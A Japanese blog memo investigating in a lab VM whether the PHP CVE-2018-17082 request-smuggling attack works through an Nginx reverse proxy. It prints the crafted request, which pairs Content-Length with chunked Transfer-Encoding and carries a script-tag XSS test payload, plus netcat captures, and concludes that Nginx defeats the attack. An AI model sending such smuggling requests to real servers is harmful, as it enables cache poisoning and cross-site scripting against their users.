LoginSignup
3

More than 1 year has passed since last update.

Nginx経由でCVE-2018-17082脆弱性を攻撃する手法に関する個人的なメモ

Last updated at Posted at 2020-06-06

以下は、特に公表を目的としない個人的な備忘録であるが、公開のメモであるので、もちろん指摘やコメントなどは歓迎する。
PHPの脆弱性 CVE-2018-17082 についてYouTube動画を制作するために、この脆弱性についてあらためて調べているが、Nginxをキャッシュサーバーにしている(リバースPROXYとしてNginxを使っている)場合の挙動についてきちんと調べていなかったので調べ直した。主に以下の記事に関係する。

PHPの脆弱性 CVE-2018-17082 によるキャッシュ汚染についての注意喚起

ブラウザ <--> リバースプロキシ(Nginx) <--> Apache2 + PHP という構成を前提としている

今までの調査で、Nginxが挟まっている場合攻撃が刺さらないことは判明しているが、なぜ刺さらないかを追っかけきれていなかった。

NginxとApacheの間の通信をキャプチャするには、tcpdumpを使うのが一般的だろうが、ちょっと面倒くさいなと思っていたところ、Apacheのリクエストを調べるだけならApacheの代わりにNetcatを使えば簡単じゃねと思いたち、さっそくやってみた。
徳丸本VMではApacheは88ポートで動いているので、以下のコマンドでApacheを停止してNetcatで88ポートで待ち受ける。

$ sudo systemctl stop apache2
$ sudo nc -l -p 88

この状態で、Nginxに以下のリクエストを送信する。

GET http://example.jp/31/31-001.php HTTP/1.1
User-Agent: Mozilla/5.0
Content-Length: 44
Transfer-Encoding: chunked
Host: example.jp

5 <script>alert('Hacked')</script>
ABCDE
0

Content-LengthヘッダとTransfer-Encodingヘッダを重ね打ちするのが、HTTP Request Smuggling(HRS)の攻撃手法である(参考動画)。ちなみに、チャンク長5の後の文字列はRFC 7230ではChunk Extensionsという扱いになると思う(参考: Chunk Extensions)。
だが、Netcat側の表示は下記となる。

$ sudo nc -l -p 88
GET /31/31-001.php HTTP/1.1
Host: example.jp
X-Real-IP: 192.168.56.1
X-Remote-Addr: 192.168.56.1
X-Forwarded-For: 192.168.56.1
Connection: close
Content-Length: 5
User-Agent: Mozilla/5.0

ABCDE$

NginxはHTTPリクエストのContent-Lengthヘッダを無視し(これはRFC的に正しい挙動)て、Transfer-Encoding: chunkedを正しく解釈しているが、ApacheへのリクエストはContent-Length形式に変更している。リクエストの意味は同じなので、これでよいわけだ。
では、Transfer-Encoding: chunkedなリクエストを送信するにはどうすればよいか調べてみると、Nginxの設定として以下を指定すればよいことがわかった。

proxy_request_buffering off;
proxy_http_version 1.1;

参考: Module ngx_http_proxy_module

これを指定して同じHTTPリクエストを投げるが、挙動はまったく変わらない。そうか、Nginxはリクエストをすべて受け取り終わっているから、Transfer-Encoding: chunked形式を使う必要がないのだ。
それでは、というわけで、途中までHTTPリクエストをNginxに投げてみる(読者むけ注記: ここからがハイライトです)。

GET http://example.jp/31/31-001.php HTTP/1.1
User-Agent: Mozilla/5.0
Content-Length: 41
Transfer-Encoding: chunked
Host: example.jp

5 <script>alert('Hacked')</script>
ABCDE

すると、目論見通り、Chunked Encodigが終端されていないので、NginxはApacheにChunked Encodingのリクエストを投げる

$ sudo nc -l -p 88
GET /31/31-001.php HTTP/1.1
Host: example.jp
X-Real-IP: 192.168.56.1
X-Remote-Addr: 192.168.56.1
X-Forwarded-For: 192.168.56.1
Connection: close
Transfer-Encoding: chunked
User-Agent: Mozilla/5.0

5
ABCDE

だが、二重の意味で攻撃には至らないことが分かった。

  • Content-Lengthが削除される(RFC的には正しい挙動)
  • チャンク長の後のscriptタグ(Chunk Extensions)が削除される

攻撃のためには、どちらも欠かせないのだが、両方消されてしまうので、Nginx経由での攻撃は見込みがないと判断した(あっけないエンディング)。

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
What you can do with signing up
3